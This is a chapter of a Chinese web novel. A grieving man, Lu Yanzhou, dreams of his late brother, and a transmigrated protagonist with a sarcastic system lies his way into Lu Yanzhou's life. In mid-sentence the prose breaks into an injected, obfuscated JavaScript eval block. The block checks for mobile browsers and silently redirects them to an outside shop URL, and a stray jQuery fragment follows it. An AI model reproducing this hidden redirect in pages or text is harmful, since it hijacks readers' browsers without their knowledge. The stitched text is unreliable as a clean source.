距离陆时清离世已经将近十年,最初的两三年里,陆言洲会反反复复梦到得知兄长死讯的那个下午,他和陆今瑜一路跌跌撞撞赶到医院,却只看到了盖着白布,被缓缓推出来的遗体。
那是他人生中最仓皇痛苦的一天。
随着时间的流逝,画面逐渐变得模糊悠长,但梦中撕心裂肺的疼痛却未减少半分。
或许是陆时清在天之灵,不愿看到弟弟如此折磨自己,某一天开始,他再也没有梦到过兄长。
但今天,他凝视着墓碑上安静笑着的青年,放纵地把自己灌醉后,久违地在梦中与兄长重逢。
是陆时清把他和陆今瑜从大伯家里接回去的那天。
兄妹俩在大伯家过得并不好,时常被两个堂哥欺负。
陆今瑜是女孩子,他们还收敛些,陆言洲性子倔脾气硬,拒绝被他们使唤,还不到两个月的时间,身上都是大大小小的伤口。
大伯和伯母默许这一切的发生,并将所有的家务都丢给了两个孩子。
陆今瑜在家时被父母兄长宠爱,加上年纪小,洗碗时摔碎了一个碗,被大伯母拎着耳朵骂了半天,陆言洲像头小豹子一样冲上去,硬生生把膀大腰圆的伯母撞得后退几步,摔了个屁股蹲。
那一天,他被两个堂哥死死按在地上,大伯阴沉着脸,手上的藤条一下下落在身上,陆言洲也愣是一声不吭,只死死盯着这一家人,看得本来还在哭天抢地的大伯母心底直发怵,喊大伯停了手,把陆言洲锁在房间里关禁闭。
陆今瑜看着陆言洲身上的伤口抽抽噎噎,拉着他要去找陆时清。
他当时是怎么回答的呢?
“找他干什么?他早就不要我们了!”
陆言洲甩开妹妹的手,生平第一次吼了她。
他求过陆时清不要让大伯带他们走,保证自己和妹妹会听话,但一向疼爱他们的兄长只是摸摸他的头,让他照顾好妹妹。
其实刚到大伯家的时候,陆言洲仍旧心存侥幸,每天放学都会在学校等很久,期待哥哥能和之前一样来接他,但是日历一页一页翻过,陆时清一次都没来看过他们。
他知道陆今瑜会攒着买早餐的钱,去电话亭给陆时清打电话,但是对方好像总是很忙,总说不了两句话就挂断,但陆今瑜还是乐观得要命,她告诉陆言洲,哥哥说只要数到一百天,就会来接他们。
陆言洲忍了很久,终于戳破了她的幻想。
“爸妈没了,他嫌弃我们是累赘!你等一百天,一千天,一万天……他都不会来的!”
他以为陆今瑜会哇哇大哭,但是她只是抱着自己记着日期的本子,把药膏丢在他面前,一声不吭地走了。
一百天其实过得很快,最后一天刚好是周日,他们不用上学,陆今瑜早早就把自己打扮得整整齐齐,收拾好了自己的行李,搬了个小马扎坐在大门口,任凭伯父伯母怎么骂也不挪走。
她从天亮等到天黑,陆时清没有来。
两个堂哥嘴贱,想去刺挠两句,陆时清成绩好性格好,从小到大一直被拿来和他们做比较,就连大伯母都酸溜溜地说过,自己费力生的还不如外面捡一个。
眼下风水轮流转,这两人出言嘲讽陆时清就是扫把星,克死了自己的亲生父母不说,养父母也遭了殃,被陆言洲挥着拖厕所的拖把打了回去。
夜色逐渐转浓,陆时清还是来了。
他瘦了好大一圈,几乎可以用嶙峋来形容,明显是跑过来的,满头都是汗,手上死死护着一个黑色的包。
陆言洲看着他摸了摸陆今瑜的头,温柔地擦干了她的眼泪,又对自己笑了笑,什么也没来得及说,就和大伯大伯母进了书房。
再出来时,那个黑色的包不见了,陆时清弯腰牵起他们的手,声音轻快:“小洲,小瑜,东西都收拾好了吗?我们回家。”
陆今瑜早就欢呼着扑进了兄长的怀抱,而陆言洲只是站在一旁,抿着唇一言不发。
陆时清拍了拍妹妹的背,半蹲下来,看着别扭的弟弟,语气带着哄小孩的纵容:“怎么了?生哥哥气了是不是?对不起,是我来晚了。”
“哥保证,以后再也不会丢下你们了。”
他直起身,朝陆言洲伸出手,在梦里,兄长的面容朦胧,但依旧有着致命的吸引力,小陆言洲无法抗拒,慢慢朝他伸出手。
不,别伸出手,不要抓住他。
但在这一刻,他却像是觉醒了未来数年的记忆一般,心底有个声音在疯狂呐喊着阻止。
只要他拉住这双手,陆时清就再也甩不掉他这个负累。
八岁的陆言洲不会知道,堪堪成年的兄长,要养活年幼的弟弟妹妹,还要按月归还房子的欠款到底有多困难,为了拿到高额的工资,他选择去了两班倒的化工厂,累得吃饭睡觉的时间都没有,年纪轻轻就落下一身毛病……
最后,人生还永远定格在了二十八岁。
但是梦中的陆言洲太贪婪了,也太想念这个怀抱了,他仰着头对上那道温和的目光,随后别扭地伸出手,想要握住兄长伸出来的手。
就在他即将触碰到的一瞬间,陆时清的身影突然一寸寸地化为了飘渺的云烟,不过眨眼的功夫,就消失在了天地间。
陆言洲抓住了虚无的空气。
冰冷的雨滴落在脸上,梦境在此刻轰然倒塌。
陆言洲靠在墓碑上,茫然地睁开眼,却在细细的雨幕中,看到了一道单薄清瘦的身影。
那人背对着他,身形像极了陆时清。
宿醉的后遗症让他几乎有些分不清幻境和现实,陆言洲凭借着本能抬起手,死死抓住了对方纤细的手腕。
……
“嘶……这死小子,力气那么大。”晏离坐在公墓的保安亭内,揉了揉还在发痛的手腕。
他这具身体娇贵得很,被陆言洲下重手捏了好一会儿,冷白的肌肤泛起一圈红紫色的淤痕,看上去颇为触目惊心。
“小一,你看到没,陆言洲现在长得好夸张。”
晏离缩在宽大的座椅上,用手比划了一下,想到系统看不到又收回了手:“他之前没长这么高吧?”
“陆言洲身高一米九,体脂率12%,各项生理指标均处于顶峰状态。“系统精确地报出各项数据。
“不愧是气运之子。”晏离看了看自己的细胳膊细腿,感叹道,“看上去一拳能打三个我。”
“你对自己太自信了。”系统冷嘲热讽,“根据测算,是四个半。”
它提醒道:“所以你编瞎话骗他,做好被打成肉泥的准备了吗?”
没等晏离回话,保安亭的门便被一只大手推开,陆言洲挂断电话,长腿一迈,三两步就到了晏离身前。
“抱歉。”他望着晏离手腕上的伤痕,眼神暗了暗,“我让助手去买药膏了,稍后他会开车上来。”
晏离露出无辜的笑容,摇摇头:“没关系。”
就在十分钟前,他对着陆言洲胡扯了一通,把应付王婶的那套说法又搬了出来,还添油加醋说自己家里还有三个哥哥,父母去世后,他们为了娶媳妇,要把他卖给村里的老变态光棍,他历经千辛万苦跑了出来,什么证件都没带。
“接下来什么打算?”陆言洲站在窄小的门边,挡住了大半光线,像是闲聊一般询问。
晏离握着刚刚保安大叔给他倒的热水,神情茫然:“我本来想找时清哥哥,问问他能不能给我介绍工作,只要不回家,我什么都可以干,但是……”
他落寞地摇了摇头,没有继续说下去。
“演得太假了。”系统毫不留情地评价道,“情节俗套,逻辑粗糙,我要是陆言洲,会怀疑你是对家派来的商业间谍。”
“要不要打赌?”晏离笑嘻嘻,“赌100积分,看陆言洲会不会上当?”
陆言洲的视线落在低垂着头的青年身上,方才他迷蒙中,将身形相似的晏离错认成了兄长,但此时借着窗外洒下来的光影,他清楚地发觉——
眼前的这张脸,和陆时清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779227|210073||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没有半点相似之处。
相比陆家双胞胎兄妹的出挑长相,陆时清的五官只能说是清秀,眉眼温润平和,谈不上多么惊艳,但是看着很舒服。
但面前的青年有着一张好看到夺目的脸,在狭小昏暗的保安亭内,浑身上下都透露着格格不入的精致,即便陆言洲很少关注他人的长相,也不得不承认,长成这样,无论走到哪里,都能迅速成为焦点。
“工作的事,我会帮你解决。”陆言洲的视线扫过他的眼尾,声音带着宿醉后的沙哑,听不出太多情绪。
“这……这怎么好意思……”晏离睁大眼睛,有些局促地缩了缩肩膀,“太麻烦您了。”
“既然我哥当初帮过你,又让我碰上了,我坐视不管的话……”陆言洲的语气平缓,说完后顿了顿,向窗外望去。
烟雨蒙蒙的山腰间,几座石碑若隐若现,他看了一会,收回目光继续道:“哥知道了,会怪我的。”
“还真能被你忽悠成功?”系统难以置信,“他是色令智昏?”
“小一,这你就不懂了吧。”晏离得意极了,要是有条尾巴,此刻都该翘上天了,“每个人都有为他量身定制的杀猪盘。”
陆时清当初为了赚钱,把自己所有的时间都填得满满当当,连睡觉的时间都是挤出来的,更别提进行额外的社交。
这也就意味着,陆时清去世后,除了陆家兄妹以外,这个世界上再也找不到他存在的锚点,这时候冒出来一个曾经受过兄长资助,并且还记得他的人,陆言洲怎么也不会坐视不理。
“当然,这个故事漏洞百出,他随便一查就知道有问题。”晏离继续解释,“但是敢拿他哥做文章,陆言洲就算查到了,也会把我放到眼皮子底下,看看我究竟想做什么。”
他漫不经心地弯了弯唇角:“反正成功混到他身边了,等排查出bug就跑路,嘻嘻。”
“……算你厉害。”系统叹为观止。
说话间,陆言洲的助理已经到了门口,将手上那把宽大的黑伞递给陆言洲。
这位特助显然是个人精,见自家老板身后还跟着个漂亮青年,只愣了两秒,就迅速撑开另外一把伞,客客气气道:“先生您好,雨有点大,我撑伞带您过去……”
他话还没说完,半路就横插一只有力的手臂,只见陆言洲轻轻拉过那位小先生,声音平缓:“你先去开车,别的不用管。”
特助收敛起脸上的惊疑,应道:“好。”
托陆言洲的福,晏离一滴雨都没淋到,车内提前开了暖气,坐在里面感觉浑身的潮气都被驱散得干干净净。
但刚刚在山上淋雨又受风,此刻被热气一蒸,晏离反倒觉得更昏昏沉沉了,胃里也泛起一阵绞痛。
他闭眼靠在软椅上,面上没有半分难受的痕迹,还在脑海里和系统插科打诨。
“小一,你输了,100积分哦,不准赖账。”
“首先,我没有答应和你打赌。”系统冷静回答,“其次,需要我提醒你吗?你现在膝盖上贴的膏药,还有身上的衣服,已经不止100积分了。”
晏离态度瞬间大转弯,小声哼哼:“小一,别这么见外,我俩什么关系?肯定不会计较这些的……”
说话间,轿车已经行驶到了晏离住的旅馆巷口。
“陆先生,我到了,谢谢你送我回来。”晏离的态度乖巧且拘谨,待车辆停稳后就要下车。
陆言洲看了看外面堪称恶劣的环境,不着痕迹地皱了皱眉头。
“等等。”他开口打断晏离准备推开车门的动作,从侧边拿出一管消肿止痛的药膏。
陆言洲的视线停留在晏离手腕的伤口上:“先上完药再说。”
“不用了,我自己回去抹点药就好……”
晏离拒绝的话还未说出口,男人修长有力的手就伸了过来,扣住了他苍白纤细的手腕。
但就在碰上去的瞬间,陆言洲脸色一变,稍稍收紧了力道——
“别动,你在发烧。”